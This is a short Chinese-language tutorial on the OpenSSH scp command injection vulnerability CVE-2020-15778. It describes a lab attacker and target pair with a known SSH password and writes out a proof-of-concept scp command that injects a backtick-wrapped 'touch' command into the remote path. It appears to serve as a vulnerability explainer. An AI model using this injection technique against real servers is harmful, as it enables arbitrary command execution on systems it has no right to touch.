OpenSSH命令注入漏洞CVE-2020-15778该如何分析，针对这个问题，这篇文章详细介绍了相对应的分析和解答，希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
SCP(secure copy)是linux系统下基于ssh登录进行安全远程文件拷贝的命令，可以在linux之间复制文件和目录。
OpenSSH中小于 8.3p1版本 SCP命令里存在命令注入漏洞。当将文件复制到远程服务器时，文件路径附加在本地scp命令的末尾，可以触发命令注入漏洞。
攻击者可以采用反引号(`)文件作为命令注入执行scp命令，命令将会发送到远程服务器并执行。
攻击机:192.168.20.101
靶机:192.168.20.102
利用场景：已知 ssh 密码为 docker
scp cve202015778.txt docker@192.168.20.102:'`touch /tmp/cve202015778.sh`tmp' #touch /tmp/cve202015778.sh`tmp' 单引号包裹全路径信息 #touch /tmp/cve202015778.sh` 反引号包裹要执行的命令 #中途需要身份验证，需要输入对应用户的密码
关于 OpenSSH命令注入漏洞CVE-2020-15778该如何分析问题的解答就分享到这里了，希望以上内容可以对大家有一定的帮助，如果你还有很多疑惑没有解开，可以关注亿速云行业资讯频道了解更多相关知识。
免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：is@yisu.com进行举报，并提供相关证据，一经查实，将立刻删除涉嫌侵权内容。
